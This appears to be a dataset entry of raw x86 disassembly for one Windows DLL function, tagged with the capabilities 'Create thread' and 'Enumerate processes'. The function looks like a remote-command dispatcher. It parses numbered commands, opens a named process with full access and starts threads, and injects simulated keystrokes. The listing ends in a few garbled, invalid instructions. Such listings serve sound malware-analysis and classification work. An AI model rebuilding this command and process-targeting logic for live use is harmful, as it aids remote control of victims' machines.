Function at 0x10002f40
Capabilities:
Create thread
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004be3f
mov eax, dword fs:[0]
push eax
sub esp, 0x604
mov eax, dword [0x10063058]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edx, ecx
mov dword [ebp - 0x2d0], 0
mov dword [ebp - 0x2c0], 0
mov dword [ebp - 0x2bc], 0xf
mov byte [ebp - 0x2d0], 0
mov dword [ebp - 4], 0
lea esi, [ecx + 1]
mov dword [ebp - 0x288], 0
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x274], 0xf
mov byte [ebp - 0x288], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002fc7
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x288]
call fcn.10001d70
mov dword [ebp - 0x2b8], 0
mov dword [ebp - 0x2a8], 0
mov dword [ebp - 0x2a4], 0xf
mov byte [ebp - 0x2b8], 0
mov dword [ebp - 0x2a0], 0
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x28c], 0xf
mov byte [ebp - 0x2a0], 0
mov byte [ebp - 4], 3
lea edi, [ebp - 0x288]
cmp dword [ebp - 0x274], 0x10
mov eax, dword [ebp - 0x278]
cmovae edi, dword [ebp - 0x288]
test eax, eax
je 0x1000305f
push eax
push 0x3a
push edi
call fcn.1002ae80
mov esi, eax
add esp, 0xc
test esi, esi
je 0x1000305f
sub esi, edi
jmp 0x10003062
or esi, 0xffffffff
cmp dword [ebp - 0x278], esi
lea eax, [ebp - 0x288]
mov ecx, esi
mov dword [ebp - 0x598], 0
cmovb ecx, dword [ebp - 0x278]
cmp dword [ebp - 0x274], 0x10
push ecx
cmovae eax, dword [ebp - 0x288]
lea ecx, [ebp - 0x598]
push eax
mov dword [ebp - 0x588], 0
mov dword [ebp - 0x584], 0xf
call fcn.10001d70
mov edx, dword [ebp - 0x2a4]
cmp edx, 0x10
jb 0x100030ea
mov ecx, dword [ebp - 0x2b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100030e0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003b76
push edx
push ecx
call fcn.10028ef0
add esp, 8
movups xmm0, xmmword [ebp - 0x598]
mov eax, dword [ebp - 0x278]
inc esi
mov dword [ebp - 0x598], 0
movups xmmword [ebp - 0x2b8], xmm0
movq xmm0, qword [ebp - 0x588]
lea ecx, [eax - 1]
movq qword [ebp - 0x2a8], xmm0
mov dword [ebp - 0x588], 0
mov dword [ebp - 0x584], 0xf
cmp eax, esi
jb 0x10003b53
sub eax, esi
cmp eax, ecx
cmovb ecx, eax
cmp dword [ebp - 0x274], 0x10
lea eax, [ebp - 0x288]
cmovae eax, dword [ebp - 0x288]
push ecx
add eax, esi
lea ecx, [ebp - 0x598]
push eax
call fcn.10001d70
mov edx, dword [ebp - 0x28c]
cmp edx, 0x10
jb 0x1000319c
mov ecx, dword [ebp - 0x2a0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10003192
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003b76
push edx
push ecx
call fcn.10028ef0
add esp, 8
movups xmm0, xmmword [ebp - 0x598]
xor eax, eax
mov dword [ebp - 0x348], 0
mov dword [ebp - 0x330], eax
movups xmmword [ebp - 0x2a0], xmm0
mov dword [ebp - 0x318], eax
movq xmm0, qword [ebp - 0x588]
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2e8], eax
movq qword [ebp - 0x290], xmm0
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x334], 7
mov word [ebp - 0x348], ax
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x31c], 7
mov word [ebp - 0x330], ax
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x304], 7
mov word [ebp - 0x318], ax
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x2ec], 7
mov word [ebp - 0x300], ax
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], 7
mov word [ebp - 0x2e8], ax
mov byte [ebp - 4], 5
call fcn.1002e0ff
cmp dword [ebp - 0x2a4], 0x10
lea esi, [ebp - 0x2b8]
mov dword [ebp - 0x270], eax
cmovae esi, dword [ebp - 0x2b8]
mov dword [eax], 0
lea eax, [ebp - 0x350]
push 0xa
push eax
push esi
call fcn.1002e032
add esp, 0xc
mov edi, eax
cmp esi, dword [ebp - 0x350]
je 0x10003b58
mov eax, dword [ebp - 0x270]
cmp dword [eax], 0x22
je 0x10003b7b
mov dword [ebp - 4], 4
cmp edi, 1
je 0x100032ce
cmp edi, 2
je 0x100032ce
cmp edi, 0xb
je 0x100032ce
mov eax, dword [ebp - 0x580]
jmp 0x1000358c
push 0x258
lea eax, [ebp - 0x26c]
push 0
push eax
call fcn.1002ad20
cmp dword [ebp - 0x28c], 0x10
lea eax, [ebp - 0x2a0]
push 0x122
cmovae eax, dword [ebp - 0x2a0]
push eax
push 0x12c
lea eax, [ebp - 0x26c]
push eax
lea eax, [ebp - 0x34c]
push eax
call fcn.1002e395
add esp, 0x20
test eax, eax
je 0x10003416
lea ecx, [ebp - 0x348]
call fcn.10002aa0
mov edx, dword [ebp - 0x28c]
cmp edx, 0x10
jb 0x10003363
mov ecx, dword [ebp - 0x2a0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10003359
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003b76
push edx
push ecx
call fcn.10028ef0
add esp, 8
mov edx, dword [ebp - 0x2a4]
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x28c], 0xf
mov byte [ebp - 0x2a0], 0
cmp edx, 0x10
jb 0x100033b8
mov ecx, dword [ebp - 0x2b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100033ae
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003b76
push edx
push ecx
call fcn.10028ef0
add esp, 8
mov edx, dword [ebp - 0x274]
mov dword [ebp - 0x2a8], 0
mov dword [ebp - 0x2a4], 0xf
mov byte [ebp - 0x2b8], 0
cmp edx, 0x10
jb 0x10003b37
mov ecx, dword [ebp - 0x288]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10003407
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003b76
push edx
push ecx
call fcn.10028ef0
add esp, 8
jmp 0x10003b37
xor eax, eax
mov dword [ebp - 0x598], 0
lea ecx, [ebp - 0x26c]
mov dword [ebp - 0x588], 0
mov dword [ebp - 0x584], 7
lea edx, [ecx + 2]
mov word [ebp - 0x598], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10003446
sub ecx, edx
lea eax, [ebp - 0x26c]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x598]
call fcn.10007770
lea edx, [ebp - 0x598]
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x610]
call fcn.10002580
push eax
lea ecx, [ebp - 0x348]
call fcn.10003bc0
lea ecx, [ebp - 0x610]
call fcn.10002aa0
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x584]
cmp edx, 8
jb 0x100034d8
mov ecx, dword [ebp - 0x598]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100034ce
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003b62
push edx
push ecx
call fcn.10028ef0
add esp, 8
cmp dword [ebp - 0x2d8], 0
jne 0x1000352f
cmp dword [ebp - 0x304], 8
lea esi, [ebp - 0x318]
cmovae esi, dword [ebp - 0x318]
cmp dword [ebp - 0x308], 5
jne 0x10003528
mov ecx, str.https
mov edx, 5
sub esi, ecx
nop word [eax + eax]
mov ax, word [esi + ecx]
cmp ax, word [ecx]
jne 0x10003528
add ecx, 2
sub edx, 1
jne 0x10003510
mov eax, 0x1bb
jmp 0x10003585
mov eax, 0x50
jmp 0x10003585
mov byte [ebp - 4], 8
call fcn.1002e0ff
cmp dword [ebp - 0x2d4], 8
lea esi, [ebp - 0x2e8]
mov dword [ebp - 0x350], eax
cmovae esi, dword [ebp - 0x2e8]
mov dword [eax], 0
lea eax, [ebp - 0x270]
push 0xa
push eax
push esi
call fcn.1002e05c
add esp, 0xc
cmp esi, dword [ebp - 0x270]
je 0x10003b67
mov ecx, dword [ebp - 0x350]
cmp dword [ecx], 0x22
je 0x10003b7b
mov dword [ebp - 4], 4
dec edi
cmp edi, 0xa
ja case.default.0x10003596
jmp dword [edi*4 + 0x10003b88]
sub esp, 0x18
movzx esi, ax
lea eax, [ebp - 0x330]
mov dword [ebp - 0x580], esp
mov ecx, esp
push eax
call fcn.100058a0
sub esp, 0x18
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x330]
mov dword [ebp - 0x270], esp
mov ecx, esp
push eax
call fcn.100058a0
sub esp, 0x18
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x300]
mov ecx, esp
push eax
call fcn.100058a0
xor edx, edx
mov byte [ebp - 4], 4
mov ecx, esi
call fcn.10010ed0
add esp, 0x48
jmp case.default.0x10003596
sub esp, 0x18
movzx esi, ax
lea eax, [ebp - 0x330]
mov dword [ebp - 0x580], esp
mov ecx, esp
push eax
call fcn.100058a0
sub esp, 0x18
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x330]
mov dword [ebp - 0x270], esp
mov ecx, esp
push eax
call fcn.100058a0
sub esp, 0x18
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x300]
mov ecx, esp
push eax
call fcn.100058a0
mov edx, 1
mov byte [ebp - 4], 4
mov ecx, esi
call fcn.10010ed0
add esp, 0x48
jmp case.default.0x10003596
cmp dword [0x10063ab8], 1
jne 0x10003690
push 0
push 0
push 0
push 0x1000c5f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je case.default.0x10003596
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x10003596
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x580], esp
push 0x10063aec
call fcn.100058a0
sub esp, 0x18
mov byte [ebp - 4], 0xe
mov ecx, esp
push 0x10063b94
call fcn.100058a0
mov byte [ebp - 4], 4
call fcn.1000b600
jmp 0x100039ae
cmp dword [0x10063ad0], 8
mov edi, 0x10063abc
push 0
cmovae edi, dword [0x10063abc]
push 2
mov dword [ebp - 0x580], edi
mov dword [ebp - 0x57c], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x57c]
push eax
push esi
mov dword [ebp - 0x350], esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x100037e1
lea eax, [ebp - 0x57c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x100037e1
nop dword [eax]
lea ecx, [ebp - 0x558]
mov eax, edi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x1000375e
test dx, dx
je 0x1000375a
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x1000375e
add eax, 4
add ecx, 4
test dx, dx
jne 0x10003738
xor eax, eax
jmp 0x10003763
sbb eax, eax
or eax, 1
test eax, eax
jne 0x100037ca
push dword [ebp - 0x574]
push eax
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [ebp - 0x574]
mov edi, eax
push 0
push 0
lea eax, [ebp - 0x270]
mov dword [ebp - 0x270], ecx
push eax
push 0x1000cb10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x100037b7
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x350]
mov edi, dword [ebp - 0x580]
lea eax, [ebp - 0x57c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x10003730
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x10003596
call fcn.100085a0
jmp case.default.0x10003596
push ecx
lea edx, [ebp - 0x2a0]
lea ecx, [ebp - 0x598]
call fcn.10001130
lea ecx, [ebp - 0x2d0]
add esp, 4
cmp ecx, eax
je 0x1000383e
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2d0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2c0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x584]
cmp edx, 0x10
jb 0x10003878
mov ecx, dword [ebp - 0x598]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1000386e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003b71
push edx
push ecx
call fcn.10028ef0
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x2d0]
mov ecx, esp
push eax
call fcn.10001ae0
call fcn.1000c6b0
add esp, 0x18
jmp case.default.0x10003596
sub esp, 0x18
lea eax, [ebp - 0x2a0]
mov ecx, esp
push eax
call fcn.10001ae0
call fcn.100121f0
add esp, 0x18
jmp case.default.0x10003596
mov esi, dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
push 0x11
call esi
push 0
push 0
push 0
push 0x52
call esi
push 0
push 2
push 0
push 0x52
call esi
push 0
push 2
push 0
push 0x11
call esi
jmp case.default.0x10003596
mov esi, dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
push 0x11
call esi
push 0
push 0
push 0
push 0x57
call esi
push 0
push 2
push 0
push 0x57
call esi
push 0
push 2
push 0
push 0x11
call esi
jmp case.default.0x10003596
call fcn.10012470
jmp case.default.0x10003596
sub esp, 0x18
movzx esi, ax
lea eax, [ebp - 0x330]
mov dword [ebp - 0x580], esp
mov ecx, esp
push eax
call fcn.100058a0
sub esp, 0x18
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x330]
mov dword [ebp - 0x270], esp
mov ecx, esp
push eax
call fcn.100058a0
sub esp, 0x18
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0x300]
mov ecx, esp
push eax
call fcn.100058a0
xor edx, edx
mov byte [ebp - 4], 4
mov ecx, esi
call fcn.10010ed0
add esp, 0x30
mov ecx, esp
mov dword [ebp - 0x580], esp
push 0x10063b4c
call fcn.100058a0
sub esp, 0x18
mov byte [ebp - 4], 0x11
lea eax, [ebp - 0x330]
mov ecx, esp
push eax
call fcn.100058a0
mov byte [ebp - 4], 4
call fcn.10008320
add esp, 0x30
lea ecx, [ebp - 0x348]
call fcn.10002aa0
mov edx, dword [ebp - 0x28c]
cmp edx, 0x10
jb 0x100039f6
mov ecx, dword [ebp - 0x2a0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100039ec
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003b76
push edx
push ecx
call fcn.10028ef0
add esp, 8
mov edx, dword [ebp - 0x2a4]
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x28c], 0xf
mov byte [ebp - 0x2a0], 0
cmp edx, 0x10
jb 0x10003a4b
mov ecx, dword [ebp - 0x2b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10003a41
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003b76
push edx
push ecx
call fcn.10028ef0
add esp, 8
mov edx, dword [ebp - 0x274]
mov dword [ebp - 0x2a8], 0
mov dword [ebp - 0x2a4], 0xf
mov byte [ebp - 0x2b8], 0
cmp edx, 0x10
jb 0x10003aa0
mov ecx, dword [ebp - 0x288]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10003a96
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003b76
push edx
push ecx
call fcn.10028ef0
add esp, 8
mov edx, dword [ebp - 0x2bc]
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x274], 0xf
mov byte [ebp - 0x288], 0
cmp edx, 0x10
jb 0x10003b37
mov ecx, dword [ebp - 0x2d0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10003407
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003b76
jmp 0x10003407
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10028ebf
mov esp, ebp
pop ebp
ret
call fcn.10001350
push str.invalid_stoi_argument
call fcn.100126fe
call fcn.1002d5ef
push str.invalid_stoi_argument
call fcn.100126fe
call fcn.1002d5ef
call fcn.1002d5ef
push str.stoi_argument_out_of_range
call fcn.1001273e
nop dword [eax]
popfd
xor eax, 905711616
add byte [eax], dl
pop esi
add byte ss:[eax], dl
invalid